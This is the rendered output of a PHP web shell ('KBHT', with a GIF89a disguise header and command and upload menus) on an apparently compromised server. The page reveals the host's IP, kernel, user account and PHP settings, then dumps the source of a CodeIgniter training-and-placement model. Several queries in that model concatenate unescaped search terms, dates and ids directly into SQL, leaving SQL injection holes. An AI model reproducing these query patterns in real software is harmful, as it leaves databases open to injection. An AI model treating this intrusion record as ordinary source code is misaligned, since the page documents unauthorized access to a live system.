GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 13.59.87.145
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../../cas/application/models/admin/TAndPManagement.php
<?php

/**
 * Model class for handling all DB operations related to training & placement module
 *
 * @author Softpro India Pvt. Ltd
 */
class TAndPManagement extends CI_Model {

    function createNewOrganization(array $pla_org_info) {
        $this->db->insert('pla_organization_mst', $pla_org_info);
        return $this->db->insert_id();
    }

    function getAllOrganizations($searchKey = '', $category = '', $industry = '', $pla_org_active_status = '', $pla_org_delete_status = '') {
        $this->db->select('*,TCMRESID.city_name mailingCity,TSMRESID.state_name mailingState,'
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('pla_organization_mst PLA');
        $this->db->join('tbl_city_master TCMRESID', 'PLA.pla_org_city = TCMRESID.city_id');
        $this->db->join('tbl_states_master TSMRESID', 'PLA.pla_org_state = TSMRESID.state_id');
        $this->db->join('tbl_staff_members TSMA', 'PLA.pla_org_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'PLA.pla_org_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($searchKey != '') {

            $this->db->where("(PLA.pla_org_name LIKE '%" . $searchKey . "%' "
                    . "OR PLA.pla_org_short_name LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_email LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_mobile LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_cin_no LIKE '%" . $searchKey . "%'"
                    . "OR TCMRESID.city_name LIKE '%" . $searchKey . "%'"
                    . "OR TSMRESID.state_name LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_industry LIKE '%" . $searchKey . "%')");
        }
        if ($category != '') {
            $this->db->where("PLA.pla_org_type", $category);
        }
        if ($industry != '') {
            $this->db->where("PLA.pla_org_industry", $industry);
        }
        if ($pla_org_active_status != '') {
            $this->db->where("PLA.pla_org_active_status", $pla_org_active_status);
        }
        if ($pla_org_delete_status != '') {
            $this->db->where("PLA.pla_org_delete_status", $pla_org_delete_status);
        }
        return $this->db->get();
    }

    function getOrganizationInfoBy($pla_org_id = '', $email = '', $mobile = '', $CINNo = '', $orgName = '') {
        $this->db->select('*,TCMRESID.city_name mailingCity,TSMRESID.state_name mailingState,'
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('pla_organization_mst PLA');
        $this->db->join('tbl_city_master TCMRESID', 'PLA.pla_org_city = TCMRESID.city_id');
        $this->db->join('tbl_states_master TSMRESID', 'PLA.pla_org_state = TSMRESID.state_id');
        $this->db->join('tbl_staff_members TSMA', 'PLA.pla_org_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'PLA.pla_org_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($pla_org_id != '') {
            $this->db->where("PLA.pla_org_id", $pla_org_id);
        }
        if ($email != '') {
            $this->db->where("PLA.pla_org_email", $email);
        }
        if ($mobile != '') {
            $this->db->where("PLA.pla_org_mobile", $mobile);
        }
        if ($CINNo != '') {
            $this->db->where("PLA.pla_org_cin_no", $CINNo);
        }
        if ($orgName != '') {
            $this->db->where("PLA.pla_org_name", $orgName);
        }
        return $this->db->get();
    }

    function updateOrganisationInfo(array $pla_org_info) {
        $this->db->where('pla_org_id', $pla_org_info['pla_org_id']);
        return $this->db->update('pla_organization_mst', $pla_org_info);
    }

    function isOrganisationDetailsSafeToUpdate($pla_org_id, $pla_org_name = '', $pla_org_cin_no = '', $pla_org_email = '') {
        $this->db->select("*");
        $this->db->from('pla_organization_mst');
        $this->db->where('pla_org_id != ' . $pla_org_id);
        if ($pla_org_name != '') {
            $this->db->where('pla_org_name', $pla_org_name);
        }
        if ($pla_org_cin_no != '') {
            $this->db->where("pla_org_cin_no", $pla_org_cin_no);
        }
        if ($pla_org_email != '') {
            $this->db->where("pla_org_email", $pla_org_email);
        }
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    /* Functions For Job Offers & Related Stuffs */

    function createNewJobOffer(array $job_offer_info) {
        $this->db->insert('pla_job_offer_mst', $job_offer_info);
        return $this->db->insert_id();
    }

    function getJobOfferInfoBy($pjo_id = '', $pla_org_id = '', $jobTitle = '', $session_id = '') {
        $this->db->select('*,'
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('pla_job_offer_mst PJO');
        $this->db->join("tbl_session_master SESS", "SESS.session_id = PJO.session_id");
        $this->db->join('tbl_staff_members TSMA', 'PJO.pjo_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'PJO.pjo_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($pla_org_id != '') {
            $this->db->where("PJO.pla_org_id", $pla_org_id);
        }
        if ($pjo_id != '') {
            $this->db->where("PJO.pjo_id", $pjo_id);
        }
        if ($jobTitle != '') {
            $this->db->where("PJO.pjo_title", $jobTitle);
        }
        if ($session_id != '') {
            $this->db->where("PJO.session_id", $session_id);
        }
        return $this->db->get();
    }

    function isJobOfferDetailsSafeToUpdate($pjo_id, $pjo_title = '', $pla_org_id = '', $session_id = '') {
        $this->db->select("*");
        $this->db->from('pla_job_offer_mst PJO');
        $this->db->where('pjo_id != ' . $pjo_id);

        if ($pjo_title != '') {
            $this->db->where("pjo_title", $pjo_title);
        }
        if ($pla_org_id != '') {
            $this->db->where("pla_org_id", $pla_org_id);
        }
        if ($session_id != '') {
            $this->db->where("session_id", $session_id);
        }
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function getAlljobOffers($searchKey = '', $org = '', $session = '', $pjo_active_status = '', $pjo_delete_status = '', $startDate = '', $endDate = '') {
        $this->db->select('*,TCM.city_name mailingCity,TSM.state_name mailingState,'
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('pla_job_offer_mst PJO');
        $this->db->join('tbl_session_master SESS', "PJO.session_id = SESS.session_id");
        $this->db->join('pla_organization_mst PLA', "PJO.pla_org_id = PLA.pla_org_id");
        $this->db->join('tbl_city_master TCM', 'PLA.pla_org_city = TCM.city_id');
        $this->db->join('tbl_states_master TSM', 'PLA.pla_org_state = TSM.state_id');
        $this->db->join('tbl_staff_members TSMA', 'PJO.pjo_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'PJO.pjo_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        if ($searchKey != '') {
            $this->db->where("(PLA.pla_org_name LIKE '%" . $searchKey . "%' "
                    . "OR PLA.pla_org_short_name LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_email LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_mobile LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_cin_no LIKE '%" . $searchKey . "%'"
                    . "OR TCM.city_name LIKE '%" . $searchKey . "%'"
                    . "OR TSM.state_name LIKE '%" . $searchKey . "%'"
                    . "OR PJO.pjo_title LIKE '%" . $searchKey . "%'"
                    . "OR PJO.pjo_criteria LIKE '%" . $searchKey . "%'"
                    . "OR PJO.pjo_package LIKE '%" . $searchKey . "%'"
                    . "OR PLA.pla_org_industry LIKE '%" . $searchKey . "%')");
        }
        if ($org != '') {
            $this->db->where("PLA.pla_org_id", $org);
        }
        if ($session != '') {
            $this->db->where("PJO.session_id", $session);
        }
        if ($pjo_active_status != '') {
            $this->db->where("PJO.pjo_active_status", $pjo_active_status);
        }
        if ($pjo_delete_status != '') {
            $this->db->where("PJO.pjo_delete_status", $pjo_delete_status);
        }
        /* Dates Combination */
        if ($startDate != '' && $endDate != '') {
            $this->db->where("PJO.pjo_added_on >= '" . $startDate . "' && PJO.pjo_added_on <= '" . $endDate . "'");
        } else if ($startDate == '' && $endDate != '') {
            $this->db->where("PJO.pjo_added_on <= '" . $endDate . "'");
        } else if ($startDate != '' && $endDate == '') {
            $this->db->where("PJO.pjo_added_on >= '" . $startDate . "'");
        }
        /* Dates Combination */
        return $this->db->get();
    }

    function updateJobOffer(array $job_offer_info) {
        $this->db->where('pjo_id', $job_offer_info['pjo_id']);
        return $this->db->update('pla_job_offer_mst', $job_offer_info);
    }

}

KBHT - 2023